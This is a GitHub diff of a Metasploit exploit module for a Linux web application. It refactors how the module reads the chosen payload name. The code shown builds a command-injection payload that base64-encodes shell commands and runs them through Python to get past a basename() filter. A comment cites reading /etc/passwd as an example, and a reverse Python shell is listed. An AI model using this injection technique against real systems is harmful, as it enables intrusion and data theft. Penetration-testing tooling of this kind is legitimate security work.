File tree Expand file tree Collapse file tree 1 file changed +1
-13
lines changed
modules/exploits/linux/http Expand file tree Collapse file tree 1 file changed +1
-13
lines changed Original file line number Diff line number Diff line change @@ -140,7 +140,7 @@ def build_payload
140
140
# * cmd/unix/reverse_python_ssl
141
141
p = payload . encoded
142
142
143
- case current_payload_name
143
+ case datastore [ 'PAYLOAD' ]
144
144
when /cmd\/ unix\/ generic/
145
145
# Filter that one out, Mr. basename()
146
146
p = Rex ::Text . encode_base64 ( "import os ; os.system('#{ Rex ::Text . encode_base64 ( p ) } '.decode('base64'))" )
@@ -218,18 +218,6 @@ def save_cred(username, password)
218
218
create_credential_login ( login_data )
219
219
end
220
220
221
- def current_payload_name
222
- # pinst is a protected method so modules should not access it like this.
223
- # But command injection is sort of unfriendly because the vulnerable PHP file filters out our
224
- # input with a basename() function. So for example if you do cat /etc/passwd > /tmp/data.txt,
225
- # your command won't work. To get around that, we need to Base64 the command, and let Python do
226
- # the work. But to do this, I have to know if the user is actually using the cmd/unix/generic or not.
227
- # One of the downsides I am aware of is that if this payload's fullname is changed due to whatever
228
- # reason, the support can break (but the user still at least should be able to use the reverse
229
- # python shell).
230
- payload . send ( :pinst ) . fullname
231
- end
232
-
233
221
def exploit
234
222
print_status ( "Getting the PHPSESSID..." )
235
223
sid = get_sid
You can’t perform that action at this time.
0 commit comments